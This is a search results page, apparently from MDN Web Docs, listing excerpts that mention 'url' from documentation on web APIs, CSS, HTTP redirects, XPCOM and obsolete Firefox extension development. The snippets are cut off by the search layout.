Index
t chapters, we can begin to work on the example weblock component functionality itself. 105 finishing the component xpcom at this point you have created most of the infrastructure of the component. the component will be recognized by xpcom and registered with the category manager so that it starts up when xpcom initializes. when the component starts up, it populates a list of
urls read in from a file stored next to the gecko binary on the local system. 106 packaging weblock xpcom in this final part of the tutorial, we'll put all of the pieces of the web locking component - the library itself, the type library, the header file, and the user interface resources - into a package that can be installed on other systems. the first section, component install...
...e anchors would all reference the image object. the anchortargets would reference the second level accessible hyperlink objects. none of the iaccessibleaction methods would be implemented on the first level hyperlink objects. the second level hyperlink objects would implement the iaccessibleaction methods. their anchors would also reference the image object and their anchortargets would reference
urls or the objects that would be activated. this use case demonstrates that in some cases there is no need for iaccessiblehyperlink to derive from iaccessibleaction. as a result it may be removed in a later version of the idl and it is suggested that implementations should not rely on the inheritance. 167 iaccessiblehypertext interfaces, xpcom, xpcom interface reference the iacc...
... interfaces, mime implemented by: @mozilla.org/uriloader/external-helper-app-service;1. to access this service, use: 594 nsiexternalprotocolservice interfaces, interfaces:scriptable, xpcom, xpcom api reference, xpcom interface reference you can ask the external protocol service if it has an external handler for a given protocol scheme. and you can ask it to load the
url using the default handler. 595 nsiexternal
urlhandlerservice interfaces, interfaces:scriptable given a
url, looks up the handler info from the operating system. this should be overridden by each operating systems implementation. 596 nsiftpchannel channels, interfaces, interfaces:scriptable, xpcom interface reference the nsiftpchannel is an extension of nsi...
...And 9 more matches
Using Fetch - Web APIs
connect-src directive of content security policy rather than the directive of the resources it's retrieving. supplying request options the fetch() method can optionally accept a second parameter, an init object that allows you to control a number of different settings: see fetch() for the full options available, and more details. // example post method implementation: async function postdata(
url = '', data = {}) { // default options are marked with * const response = await fetch(
url, { method: 'post', // *get, post, put, delete, etc. mode: 'cors', // no-cors, *cors, same-origin cache: 'no-cache', // *default, no-cache, reload, force-cache, only-if-cached credentials: 'same-origin', // include, *same-origin, omit headers: { 'content-type': 'application/json' ...
...ed with * const response = await fetch(
url, { method: 'post', // *get, post, put, delete, etc. ...
...me-origin', // include, *same-origin, omit headers: { 'content-type': 'application/json' // 'content-type': 'application/x-www-form-
urlencoded', }, redirect: 'follow', // manual, *follow, error referrerpolicy: 'no-referrer', // no-referrer, *no-referrer-when-downgrade, origin, origin-when-cross-origin, same-origin, strict-origin, strict-origin-when-cross-origin, unsafe-
url body: json.stringify(data) // body data type must match "content-type" header }); return response.json(); // parses json response into native javascript objects } postdata('https://example.com/answer', { answer: 42 }) .then(data => { console.log(data); // json data parsed by `data.json()` call }); note that mode: "no-cors" only allows a limited set of headers in the request: ...
...And 9 more matches
Location - Web APIs
changes done on it are reflected on the object it relates to. both the document and window interface have such a linked location, accessible via document.location and window.location respectively. ...
...k", function(e) { e.preventdefault(); e.stoppropagation(); window.location.hash = ''; }); }); result properties location.ancestororigins is a static domstringlist containing, in reverse order, the origins of all ancestor browsing contexts of the document associated with the given location object. location.href is a stringifier that returns a usvstring containing the entire
url. if changed, the associated document navigates to the new page. it can be set from a different origin than the associated document. location.protocol is a usvstring containing the protocol scheme of the
url, including the final ':'. location.host is a usvstring containing the host, that is the hostname, a ':', and the port of the
url. location.hostname is a usvstring containing the domain o...
...hanged, the associated document navigates to the new page. it can be set from a different origin than the associated document. location.protocol is a usvstring containing the protocol scheme of the
url, including the final ':'. location.host is a usvstring containing the host, that is the hostname, a ':', and the port of the
url. location.hostname is a usvstring containing the domain of the
url. location.port is a usvstring containing the port number of the
url. location.pathname is a usvstring containing an initial '/' followed by the path of the
url. location.search is a usvstring containing a '?' followed by the parameters or "querystring" of the
url. modern browsers provide
urlsearchparams and
url.searchparams to make it easy to parse out the parameters from the querystring. ...
...And 9 more matches
Using Service Workers - Web APIs
ode via https — service workers are restricted to running across https for security reasons. github is therefore a good place to host experiments, as it supports https. in order to facilitate local development, localhost is considered a secure origin by browsers as well. basic architecture with service workers, the following steps are generally observed for basic set up: the service worker
url is fetched and registered via serviceworkercontainer.register(). if successful, the service worker is executed in a serviceworkerglobalscope; this is basically a special kind of worker context, running off the main script execution thread, with no dom access. the service worker is now ready to process events. installation of the worker is attempted when service worker-controlled pages are acce...
...chronous, so blocks the main thread. instead, we could build our own promise to handle this kind of case. (see our promises test example for the source code, or look at it running live.) note: a real service worker implementation would use caching and onfetch rather than the xmlhttprequest api. those features are not used here so that you can focus on understanding promises. ...
...promises test example for the source code, or look at it running live.) note: a real service worker implementation would use caching and onfetch rather than the xmlhttprequest api. those features are not used here so that you can focus on understanding promises. ...
...And 9 more matches
<a>: The Anchor element - HTML: Hypertext Markup Language
the html <a> element (or anchor element), with its href attribute, creates a hyperlink to web pages, files, email addresses, locations in the same page, or anything else a
url can address. content within each <a> should indicate the link's destination. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. attributes this element's attributes include the global attributes. downloadhtml5 prompts the user to save the linked
url instead of navigating to it. can be used with or without a value: without a value, the browser will suggest a filename/extension, generated from various sources: the content-dispos...
...es and send us a pull request. attributes this element's attributes include the global attributes. downloadhtml5 prompts the user to save the linked
url instead of navigating to it. can be used with or without a value: without a value, the browser will suggest a filename/extension, generated from various sources: the content-disposition http header the final segment in the
url path the media type (from the (content-type header, the start of a data:
url, or blob.type for a blob:
url) defining a value suggests it as the filename. / and \ characters are converted to underscores (_). ...
...gment in the
url path the media type (from the (content-type header, the start of a data:
url, or blob.type for a blob:
url) defining a value suggests it as the filename. / and \ characters are converted to underscores (_). filesystems may forbid other characters in filenames, so browsers will adjust the suggested name if necessary. notes: download only works for same-origin
urls, or the blob: and data: schemes. if content-disposition has a different filename than download, the header takes priority. (if content-disposition: inline, firefox prefers the header while chrome prefers download.) href the
url that the hyperlink points to. ...
...And 9 more matches
core/promise - Archive of obsolete content
ining intermediate operations on promises (var data = readasync().then(parse).then(extract)). you can chain multiple then functions, because then returns a promise resolved to a return value of an operation and errors propagate through the promise chains. in general good rule of thumb is to prefer then based flat chaining. ...
...s on promises (var data = readasync().then(parse).then(extract)). you can chain multiple then functions, because then returns a promise resolved to a return value of an operation and errors propagate through the promise chains. in general good rule of thumb is to prefer then based flat chaining. it makes code easier to read and make changes later: var data = readasync(
url). ...
...hain multiple then functions, because then returns a promise resolved to a return value of an operation and errors propagate through the promise chains. in general good rule of thumb is to prefer then based flat chaining. it makes code easier to read and make changes later: var data = readasync(
url). // read content of
url asynchronously then(parse). // parse content from the
url then(extractquery). ...
...And 8 more matches
dev/panel - Archive of obsolete content
set the constructor up manually if you like, or you can use the add-on sdk core/heritage module to simplify the mechanics of inheriting from panel. ...
...ype, { label: "my panel", tooltip: "...", .... }); in the constructor definition there are a number of mandatory and optional parameters for you to supply. name type description label string the string to display in the toolbox toolbar. mandatory icon string the icon to display in the toolbox toolbar, specified as a resource://
url pointing to an icon file, typically in your add-on's "data" directory. you can use the notation "./my-icon.png" as an alias for the
url pointing to "data/my-icon.png". mandatory
url string a resource://
url pointing to an html file, typically in your add-on's "data" directory. this file contains the specification of the panel's user interface. you can use the ...
... you can't directly manipulate the panel's content from main.js, but you can exchange messages with scripts running in the panel. mandatory tooltip string a string that will be used as a tooltip in the toolbox toolbar. ...
...And 8 more matches
Extension Versioning, Update and Compatibility - Archive of obsolete content
he add-on's install.rdf. an entry must exist with an id matching the id of the application. additionally the minversion and maxversion of this entry must be a range that includes the version of the running application. if the application has a targetapplication entry but it is for an incompatible version then the application will retrieve updated compatibility information from the add-on's update
url. if the install.rdf contains any targetplatform entries then the platform of the currently running application must be listed or the installation will be rejected. firefox 3 note in applications based on gecko 1.9 you can also use a targetapplication entry with an id toolkit@mozilla.org and minversion and maxversion that match the toolkit version of the running application. this allows you ...
...ot mistakenly think that * in a version represents any version. the * actually represents an infinitely high number and so is really only sensibly used in the maxversion. using it in a minversion usually doesn't produce the effect you want. valid application versions automatic add-on update checking applications will periodically check for updates to installed add-ons by retrieving the update
url. the information returned can be used to notify the user of an updated version to the add-on as well as inform the application of new application versions that the add-on is compatible with. note: starting in gecko 2.0, the automatic add-on update process properly supports cases in which the add-on's guid changes by uninstalling the old version and then installing the new one. previously, it wa...
...ently installed version of the add-on, and the entry's targetapplication entry specifies a larger maxversion then the application will use this value instead of that specified in the add-on's install.rdf. this can cause add-ons that are disabled for being incompatible to become enabled and add-ons that would normally not install to be installed. update rdf format if you host your add-on's update
url yourself then you will need to return the add-on version information in an rdf format. below is an example update manifest. it lists information about 2 different versions of the extension with id foobar@developer.mozilla.org. the versions included are 2.2 and 2.5, both of which specify compatibility with firefox versions 1.5 to 2.0.0.*. for version 2.2 an https update link is used while version ...
...And 8 more matches
Chapter 5: Let's build a Firefox extension - Archive of obsolete content
d. to make an extension’s gui support multiple languages, you can include multiple locale packages, one for each language. the skin package this is used to include source files used as visual elements in the gui, including style sheets and images. most extensions include only one skin package, but you can include multiple skin packages to allow the gui to change with different themes. ...
...used as visual elements in the gui, including style sheets and images. most extensions include only one skin package, but you can include multiple skin packages to allow the gui to change with different themes. chrome
url use a file called a “chrome manifest” to register chrome packages with firefox and start using them. to register a package, you use a special uri scheme called a “chrome
url” to represent the path to the file. chrome
urls are structured as: chrome://%package name%/%package type%/%relative path to source file% for example, the chrome
url for the firefox browser window is as follows: chrome://browser/content/browser.xul here, the package name is “browser”, the file “browser.xul”, and the type of the package is “content”. source files represented throu...
...resent the path to the file. chrome
urls are structured as: chrome://%package name%/%package type%/%relative path to source file% for example, the chrome
url for the firefox browser window is as follows: chrome://browser/content/browser.xul here, the package name is “browser”, the file “browser.xul”, and the type of the package is “content”. source files represented through chrome
urls run with universalxpconnect privileges; even if they haven’t been granted “use xpconnect as local file” privileges, as discussed in chapter 4, they will be able to use xpcom functions (figure 1). extension/ chrome manifest chrome/ #registered in the chrome content package #run with privileges locale package skin package figure 1: chrome packages and chrome registration (f...
...And 8 more matches
Extensions support in SeaMonkey 2 - Archive of obsolete content
plication> <!-- seamonkey --> <description> <em:id>{92650c4d-4b8e-4d2a-b7eb-24ecf4f6b63a}</em:id> <em:minversion>2.0</em:minversion> <em:maxversion>2.*</em:maxversion> </description> </em:targetapplication> the install.js is not supported any more and should be removed. ...
...<description> <em:id>{92650c4d-4b8e-4d2a-b7eb-24ecf4f6b63a}</em:id> <em:minversion>2.0</em:minversion> <em:maxversion>2.*</em:maxversion> </description> </em:targetapplication> the install.js is not supported any more and should be removed. differences as compared to other toolkit/-based applications you need to overlay/open different chrome
urls as compared to firefox. ...
...d2a-b7eb-24ecf4f6b63a}</em:id> <em:minversion>2.0</em:minversion> <em:maxversion>2.*</em:maxversion> </description> </em:targetapplication> the install.js is not supported any more and should be removed. differences as compared to other toolkit/-based applications you need to overlay/open different chrome
urls as compared to firefox. ...
...And 8 more matches
Code snippets - Archive of obsolete content
.queryinterface(components.interfaces.nsiinterfacerequestor) .getinterface(components.interfaces.nsidomwindow); // obtain a reference to sync's tabs "engine." let tabsengine = weave.service.enginemanager.get("tabs"); // iterate over each client having data. ...
... .queryinterface(components.interfaces.nsiinterfacerequestor) .getinterface(components.interfaces.nsidomwindow); // obtain a reference to sync's tabs "engine." let tabsengine = weave.service.enginemanager.get("tabs"); // iterate over each client having data. ...
...face(components.interfaces.nsidomwindow); // obtain a reference to sync's tabs "engine." let tabsengine = weave.service.enginemanager.get("tabs"); // iterate over each client having data. for each (let client in tabsengine.getallclients()) { for each (let tab in client.tabs) { let
url = tab.
urlhistory[0]; // load the tab via the tabbed browser api. ...
...And 8 more matches
RDF Datasources - Archive of obsolete content
ional datasources and how to use your own rdf files as datasources. other mozilla datasources mozilla provides a number of other built-in datasources. some of them are listed here with a few examples. they work very similarly to the bookmarks, although the fields will be different in each case. the history list the history datasource provides access to the user's history list which is the list of
urls the user has visited recently. the resource can be referred to using rdf:history as the datasource. the table below shows the resources (or fields) that you can retrieve from the history datasource. put the
url values below where you want the value of the resource to be used. date http://home.netscape.com/nc-rdf#date date of last visit name http:/...
... of the resource to be used. date http://home.netscape.com/nc-rdf#date date of last visit name http://home.netscape.com/nc-rdf#name title of the page page http://home.netscape.com/nc-rdf#page page name referrer http://home.netscape.com/nc-rdf#referrer referrer of the page
url http://home.netscape.com/nc-rdf#
url url of the page visit count http://home.netscape.com/nc-rdf#visitcount number of page visits a typical history list will display a tree with a selection of these fields. to use them, just put the
url values above in the label attributes of the buttons or treecells. you can use nc:historyroot as the value of the r...
...ields. to use them, just put the
url values above in the label attributes of the buttons or treecells. you can use nc:historyroot as the value of the ref attribute. you can also use the value nc:historybydate to get the history sorted into days. using the history list example let's see an example of displaying the history list. we'll display the history in a tree with three columns, the name, the
url and the date. ...
...And 8 more matches
tabbrowser - Archive of obsolete content
tvieweredit which handles clipboard operations on the document. contentviewerfile type: nsicontentviewerfile reference to the nsicontentviewerfile interface for the document. contentwindow type: todo use the contentwindow.wrappedjsobject to obtain a dom(html) window object currenturi type: nsiuri this read-only property contains the currently loaded
url. to change the
url, use the loaduri method. docshell type: nsidocshell this read-only property contains the nsidocshell object for the document. documentcharsetinfo obsolete since gecko 12.0 type: nsidocumentcharsetinfo this read-only property contains the nsidocumentcharsetinfo object for the document which is used to handle which character set shoul...
... type: nsidocumentcharsetinfo this read-only property contains the nsidocumentcharsetinfo object for the document which is used to handle which character set should be used to display the document. the properties of the nsidocumentcharsetinfo object were merged into the docshell in gecko 12.0 (firefox 12.0 / thunderbird 12.0 / seamonkey 2.9). homepage type: string home page
url this property holds the value of the user's home page setting. markupdocumentviewer type: nsimarkupdocumentviewer this read-only property contains the nsimarkupdocumentviewer which is responsible for drawing the document. securityui type: nsisecurebrowserui the read-only property holds an object which may be used to determine the security level...
...tens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata addprogresslistener( listener ) return type: no return value add a progress listener to the browser which will monitor loaded documents. the progress listener should implement the nsiwebprogresslistener interface. addtab(
url, referreruri, charset, postdata, owner, allowthirdpartyfixup ) addtab(
url, {referreruri: ..., charset: ..., postdata: ..., owner: ..., allowthirdpartyfixup: ..., relatedtocurrent: ... }) return type: tab element opens a new tab that loads a page with the specified
url. the rest of the parameters are optional. the row of tabs will appear if needed. firefox 3.6 note the second form of...
...And 8 more matches
AddonManager
his time, the following: extension, theme, locale, multipackage, dictionary and experiment. ...
...following: extension, theme, locale, multipackage, dictionary and experiment. ...
...ager object in the add-on sdk, use: const { addonmanager } = require("resource://gre/modules/addonmanager.jsm"); to import it in a normal bootstrapped extension or similar, use: cu.import("resource://gre/modules/addonmanager.jsm"); method overview promise? getinstallfor
url(in string
url, in installcallback? callback, in string mimetype, in string hash, in string name, in string icon
url, in string version, in nsiloadgroup loadgroup) promise? getinstallforfile(in nsifile file, in installcallback? callback, in string mimetype) promise? getallinstalls(in installlistcallback? callback) promise? getinstallsbytypes(in string types[], in installlistcallback? callback) void installaddonsfromwebpage(in string mimetype, in nsidomwindow source, in nsiuri...
...And 8 more matches
Using the Places history service
he places history service ("navhistory") implements these history interfaces: nsiglobalhistory2: basic add page, is visited functionality used by the docshell when visiting and rendering pages. nsiglobalhistory3: adds extra functions for dealing with redirects and hints for rendering (gecko flags). ...
...iting and rendering pages. nsiglobalhistory3: adds extra functions for dealing with redirects and hints for rendering (gecko flags). nsibrowserhistory: adds functions used by the basic browser like marking pages as typed in the
url bar, and removing pages as from the history interface. nsinavhistoryservice: complex query functions, more fine-grained getters and setters. nsiautocompletesearch:
url-bar autocomplete from history from 1.9.1 (firefox3.1) on, don't use any places service on (or after) quit-application has been notified, since the database connection will be closed to allow the last sync, and changes will most likely be lost. use quit-application-granted instead. differences from previous implementations the previous nsglobalhistory service stored one entry for each page in ...
...rom 1.9.1 (firefox3.1) on, don't use any places service on (or after) quit-application has been notified, since the database connection will be closed to allow the last sync, and changes will most likely be lost. use quit-application-granted instead. differences from previous implementations the previous nsglobalhistory service stored one entry for each page in history. this entry contained the
url, title, visit count, last visit date, first visit date, host name, last referrer, flags for typed, hidden, and gecko flags (gecko flags is trunk only). the navhistory service has broken this into two tables (see history service design). the main
url table stores the information about the page:
url, host name, title, visit count, hidden, and typed. stored separately is the information specific to...
...And 8 more matches
nsIChromeRegistry
en registered. ...
...bird 3.1 / fennec 1.0) implemented by: @mozilla.org/chrome/chrome-registry;1 as a service: var chromeregistry = components.classes["@mozilla.org/chrome/chrome-registry;1"] .getservice(components.interfaces.nsichromeregistry); method overview void canonify(in nsiuri achrome
url); obsolete since gecko 1.8 void checkfornewchrome(); nsiuri convertchrome
url(in nsiuri achrome
url); boolean wrappersenabled(in nsiuri auri); violates the xpcom interface guidelines constants constant value description none 0 partial 1 full 2 methods canonify() obsolete since gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) note: this method is obsol...
...the extension, ext, is one of: xul for...
...And 8 more matches
Web Console remoting - Firefox Developer Tools
soleclient object. this object provides methods that abstract away protocol packets, things like startlisteners(), stoplisteners(), etc. protocol packets look as follows: { "to": "root", "type": "listtabs" } { "from": "root", "consoleactor": "conn0.console9", "selected": 2, "tabs": [ { "actor": "conn0.tab2", "consoleactor": "conn0.console7", "title": "", "
url": "https://tbpl.mozilla.org/?tree=fx-team" }, // ... ] } notice that the consoleactor is also available as a global actor. when you attach to the global consoleactor you receive all of the network requests, page errors, and the other events from all of the tabs and windows, including chrome errors and network events. this actor is used for the browser console implementation and for debugg...
...efox 20 the web console actor provided a locationchange listener, with an associated locationchanged notification. this is no longer the case: we have made changes to allow the web console client to reuse the tabnavigated notification (bug 792062). ...
...he web console actor provided a locationchange listener, with an associated locationchanged notification. this is no longer the case: we have made changes to allow the web console client to reuse the tabnavigated notification (bug 792062). ...
...And 8 more matches
Blob - Web APIs
ype.text() returns a promise that resolves with a usvstring containing the entire contents of the blob interpreted as utf-8 text. examples creating a blob the blob() constructor can create blobs from other objects. for example, to construct a blob from a json string: const obj = {hello: 'world'}; const blob = new blob([json.stringify(obj, null, 2)], {type : 'application/json'}); creating a
url representing the contents of a typed array the following code creates a javascript typed array and creates a new blob containing the typed array's data. it then calls
url.createobject
url() to convert the blob into a
url. html <p>this example creates a typed array containing the ascii codes for the space character through the letter z, then converts it to an object
url. a link to open tha...
...ting the contents of a typed array the following code creates a javascript typed array and creates a new blob containing the typed array's data. it then calls
url.createobject
url() to convert the blob into a
url. html <p>this example creates a typed array containing the ascii codes for the space character through the letter z, then converts it to an object
url. a link to open that object
url is created. ...
...es a javascript typed array and creates a new blob containing the typed array's data. it then calls
url.createobject
url() to convert the blob into a
url. html <p>this example creates a typed array containing the ascii codes for the space character through the letter z, then converts it to an object
url. a link to open that object
url is created. click the link to see the decoded object
url.</p> javascript the main piece of this code for example purposes is the typedarrayto
url() function, which creates a blob from the given typed array and returns an object
url for it. having converted the data into an object
url, it can be used in a number of ways, including as the value of the <img> element's src attribute (assuming the data contains an image, of course). function typedarraytou...
...And 8 more matches
Dragging and Dropping Multiple Items - Web APIs
x is equivalent to calling setdata(). you can clear an item using the mozcleardataat() method. event.datatransfer.mozcleardataat("text/plain", 1); caution: removing the last format for a particular index will remove that item entirely, shifting the remaining items down, so the later items will have different indices. ...
...n clear an item using the mozcleardataat() method. event.datatransfer.mozcleardataat("text/plain", 1); caution: removing the last format for a particular index will remove that item entirely, shifting the remaining items down, so the later items will have different indices. ...
...thod. event.datatransfer.mozcleardataat("text/plain", 1); caution: removing the last format for a particular index will remove that item entirely, shifting the remaining items down, so the later items will have different indices. ...
...And 8 more matches
content - CSS: Cascading Style Sheets
the content css property replaces an element with a generated value. objects inserted using the content property are anonymous replaced elements. ...
...an element with a generated value. objects inserted using the content property are anonymous replaced elements. ...
...yntax values none the pseudo-element is not generated. normal computes to none for the ::before and ::after pseudo-elements. <string> specifies the "alt text" for the element. this value can be any number of text characters. non-latin characters must be encoded using their unicode escape sequences: for example, \000a9 represents the copyright symbol. <image> an <image>, denoted by the <
url> or <gradient> data type, or part of the webpage, defined by the element() function, denoting the content to display. <counter>() the value of a css counter, generally a number. it can be displayed using either the counter() or counters() function. the counter() function has two forms: 'counter(name)' or 'counter(name, style)'. the generated text is the value of the innermost counter of the ...
...And 8 more matches
cursor - CSS: Cascading Style Sheets
ursor css property sets the type of mouse cursor, if any, to show when the mouse pointer is over an element. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...e cursor, if any, to show when the mouse pointer is over an element. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax /* keyword value */ cursor: pointer; cursor: auto; /*
url, with a keyword fallback */ cursor:
url(hand.cur), pointer; /*
url and coordinates, with a keyword fallback */ cursor:
url(cursor1.png) 4 12, auto; cursor:
url(cursor2.png) 2 2, pointer; /* global values */ cursor: inherit; cursor: initial; cursor: unset; the cursor property is specified as zero or more <
url> values, separated by commas, followed by a single mandatory keyword value. each <
url> should point to an image file. the bro...
...sor: initial; cursor: unset; the cursor property is specified as zero or more <
url> values, separated by commas, followed by a single mandatory keyword value. each <
url> should point to an image file. the browser will try to load the first image specified, falling back to the next if it can't, and falling back to the keyword value if no images could be loaded (or if none were specified). each <
url> may be optionally followed by a pair of space-separated numbers, which represent <x><y> coordinates. these will set the cursor's hotspot, relative to the top-left corner of the image. ...
...And 8 more matches
mask - CSS: Cascading Style Sheets
e any mask settings earlier in the cascade. this will ensure that mask-border has also been reset to allow the new styles to take effect. ...
...der has also been reset to allow the new styles to take effect. ...
...rthand for the following css properties: mask-clip mask-composite mask-image mask-mode mask-origin mask-position mask-repeat mask-size syntax /* keyword values */ mask: none; /* image values */ mask:
url(mask.png); /* pixel image used as mask */ mask:
url(masks.svg#star); /* element within svg graphic used as mask */ /* combined values */ mask:
url(masks.svg#star) luminance; /* element within svg graphic used as luminance mask */ mask:
url(masks.svg#star) 40px 20px; /* element within svg graphic used as mask positioned 40px from the top and 20px from the left */ mask:
url(masks.svg#star) 0 0/50px 50px; /* element within svg graphic used as mask with a width and height of 50px */ mask:
url(masks.svg#star) repeat-x; /* el...
...And 8 more matches
Setting up adaptive streaming media sources - Developer guides
presentation and four separate video representations. ...
...epresentations. ...
...static" mediapresentationduration="pt654s" minbuffertime="pt2s" profiles="urn:mpeg:dash:profile:isoff-on-demand:2011"> <base
url>http://example.com/ondemand/</base
url> <period> <!-- english audio --> <adaptationset mimetype="audio/mp4" codecs="mp4a.40.5" lang="en" subsegmentalignment="true" subsegmentstartswithsap="1"> <representation id="1" bandwidth="64000"> <base
url>elephantsdream_aac48k_064.mp4.dash</base
url> </representation> </adaptationset> <!-- video --> <adaptationset mimetype="video/mp4" codecs="avc1.42401e" subsegmentalignment="true" subsegmentstartswithsap="1"> <representation id="2" bandwidth="100000" width="480" height="360"> <base
url>elephantsdream_h264bpl30_0100.264.dash</base
url> </representation> <re...
...And 8 more matches
Redirections in HTTP - HTTP
url redirection, also known as
url forwarding, is a technique to give more than one
url address to a page, a form, or a whole web site/application. http has a special kind of response, called a http redirect, for this operation. redirects accomplish numerous goals: temporary redirects during site maintenance or downtime permanent redirects to preserve existing links/bookmarks after changing the site's
urls, progress pages when uploading a file, etc. principle in http, redirection is triggered by a server sending a special redirect response to a request. redirect responses have status codes that start with 3, and a location header holding the
url to redirect to. when browsers receive a redirect, they immediately load the new
url provided in the location header. besides the small perf...
... code text method handling typical use case 301 moved permanently get methods unchanged. others may or may not be changed to get.[1] reorganization of a web site. ...
...the redirection. there are several types of redirects, sorted into three categories: permanent redirections temporary redirections special redirections permanent redirections these redirections are meant to last forever. they imply that the original
url should no longer be used, and replaced with the new one.search engine robots, rss readers, and other crawlers will update the original
url for the resource. code text method handling typical use case 301 moved permanently get methods unchanged. others may or may not be changed to get.[1] reorganization of a web site. 308 permanent redirect method and body not changed. reorganization of a web site, with non-get links/operations. [1] the specification did not intend...
...And 8 more matches
ui/button/toggle - Archive of obsolete content
a disabled button will not generate click or change events and its icon wi...
...a disabled button will not generate click or change events and its icon will appear disab...
...me type id string the button's id. this is used internally to keep track of this button. the id must be unique within your add-on. label string the button's human-readable label. when the button is in the toolbar, this appears in a tooltip, and when the button is in the menu, it appears underneath the button as a legend. ...
...And 7 more matches
ui/toolbar - Archive of obsolete content
showing and hiding toolbars by default, a toolbar is shown when it is created, although you can specify that a toolbar should be hidden initially by passing hidden:true as an option ...
...rameter must also be supplied, and must contain at least object. ...
... label: "my-button", icon: "./my-button.png" }); var frame = new frame({
url: "./my-frame.html" }); var toolbar = toolbar({ title: "player", items: [button, frame] }); this add-on creates a toolbar with one frame, that's hidden initially, and that logs show and hide events: var { toolbar } = require("sdk/ui/toolbar"); var { frame } = require("sdk/ui/frame"); var frame = new frame({
url: "./frame.html" }); var toolbar = toolbar({ title: "my toolbar", items: [frame], hidden: true, onshow: showing, onhide: hiding }); function showing(e) { console.log("showing"); console.log(e); } function hiding(e) { console.log("hiding"); console.log(e); } parameters options : object required options: name type title string the too...
...And 7 more matches
Installing Extensions and Themes From Web Pages - Archive of obsolete content
irect linking to the xpi files and using the installtrigger object. extension and web authors are encouraged to use the method described below to install xpis, as it provides the best experience to users. ...
...he installtrigger object. extension and web authors are encouraged to use the method described below to install xpis, as it provides the best experience to users. ...
...and web authors are encouraged to use the method described below to install xpis, as it provides the best experience to users. ...
...And 7 more matches
Chapter 4: Using XPCOM—Implementing advanced processes - Archive of obsolete content
to run xpconnect without confirmation in the future. this is extremely dangerous, and you should never check this option. editing prefs.js opening test.xul will produce the dialog shown in figure 1. this can get annoying. to run the file's scripts without manual confirmation, add the contents of listing 3 to the prefs.js file in the user profile folder. opening test.xul will show the local file
url in the location bar. copy and paste this into the appropriate spot in listing 3. note: the location of the user profile will vary depending on your system. on windows vista, it will be located at c:\users\username\appdata\roaming\mozilla\firefox\profiles\random number.default\ ; on windows xp or 2000, it will be c:\documents and settings\username\application data\mozilla\firefox\profiles\random ...
.... extensions don't need special code like that in listing 2 in order to get privileges. fixme: we should advise against using such method fixme: figure 1: dialog requesting privileges listing 3: grant privileges without manual confirmation for a specific file user_pref("capability.principal.codebase.test.granted", "universalxpconnect"); user_pref("capability.principal.codebase.test.id", "file
url"); frequently used xpcom functions let’s take a look at those xpcom functions that are used especially frequently. you should be able to get the gist of how xpcom is used by looking at the sample code. you can paste almost all the sample code in this chapter into your existing test.xul file to try it out. feel free to fill in blank spots as you see fit. make sure to change file paths to matc...
...parent directory of the current file. ...
...And 7 more matches
Elements - Archive of obsolete content
ique binding that can be attached to elements in other documents. an element can have only one binding attached (explicitly or inherited) at one moment. from several bindings only the last in the sequence will be used (like with any css rule). ...
... other documents. an element can have only one binding attached (explicitly or inherited) at one moment. from several bindings only the last in the sequence will be used (like with any css rule). ...
... cdata #implied inheritstyle true #implied > the binding element describes a single xbl binding. a xbl binding can add anonymous content, fields, properties, methods, and event handlers to html/xml elements. a single xbl binding can be attached to an element by using style sheets or by scripting. (see bug 83830 for <table> specifics). ...
...And 7 more matches
Manifest Files - Archive of obsolete content
« previousnext » in this section, we'll see how to put chrome and xul files into a package and create the manifest files for them. packages a package is a set of xul files and scripts that define the functionality of a user interface. packages may be installed into mozilla and referenced with chrome
urls. a package can contain any kinds of files and may be split into subdirectories for different parts of the package. a package can be stored either as a directory or as a jar archive. manifest files a manifest file describes a package and maps its location on disk to a chrome
url. the manifest files in the chrome directory will be examined when a mozilla application starts up to see what packages are installed. that means that all you need to do to install a new package is ad...
...t.manifest in the chrome directory. it doesn't actually matter what the file is called as long as it has the .manifest extension. ( 1. doesn't work with utf-8 with bom.) add the following line to it: content tests file:///c:/testfiles/ the file path in that line should point to the directory created above. if you aren't sure what the file path is, open that directory in a browser and copy the
url from the address field. that's it! now, all you need to do is add some xul files into that new directory, and you will be able to load them by typing in a chrome
url of the form chrome://tests/content/<filename>. of course, you will need to restart the browser for the changes to take effect. if the file doesn't load, make sure that the file path is correct. the basic syntax of the lines in the ma...
...effect. if the file doesn't load, make sure that the file path is correct. the basic syntax of the lines in the manifest file for content packages is: 'content <packagename> <filepath>' the first field 'content' indicates a content package. for themes, 'skin' is used while 'locale' is used for locales. the packagename in the example above is 'tests', which means that the first field in the chrome
url is 'tests' as in chrome://tests/content/sample.xul. if the package name was 'browser', the chrome
url would be chrome://browser/content/. the final field is the path where the files are located. this can be either a local file path using a file
url or a jar archive using a jar
url, which will be described in a moment. you can specify multiple packages by including another line in the manifest fil...
...And 7 more matches
nsIIOService
these are provided as a convenience to the programmer and in some cases to improve performance by eliminating intermediate data structures and interfaces. inherits from: nsisupports last changed in gecko 1.2 this interface duplicates many of the nsiprotocolhandler methods in a protocol handler independent way (for example newuri() inspects the scheme in order to delegate creation of the new uri to the appropriate protocol handler). note: nsiioservice may only be used from the main thread. ...
... handler). note: nsiioservice may only be used from the main thread. ...
...e ensuring reasonable, default protection. is similar to nsiprotocolhandler.allowport(). boolean allowport( in long aport, in string ascheme ); parameters aport the port to check ascheme the scheme for the protocol handler that could override the ioservice's decision. return value true if the port is allowed, false otherwise. extractscheme() utility to extract the scheme from a
url string, consistently and according to spec (see rfc 3986). note: most
url parsing is done via nsiuri, and in fact the scheme can also be extracted from a
url string via nsiuri. this method is provided purely as an optimization. acstring extractscheme( in autf8string
urlstring ); parameters
urlstring the string for the
url to extract the scheme from. return value a string correspond...
...And 7 more matches
Gecko Plugin API Reference - Plugins
or plug-in display nesting rules for html elements using the appropriate attributes using the embed element for plug-in display using custom embed attributes plug-in references plug-in development overview writing plug-ins registering plug-ins ms windows unix mac os x drawing a plug-in instance handling memory sending and receiving streams working with
urls getting version and ui information displaying messages on the status line making plug-ins scriptable building plug-ins building, platforms, and compilers building carbonized plug-ins for mac os x type libraries installing plug-ins native installers xpi plug-ins installations plug-in installation and the windows registry initialization and destruction ini...
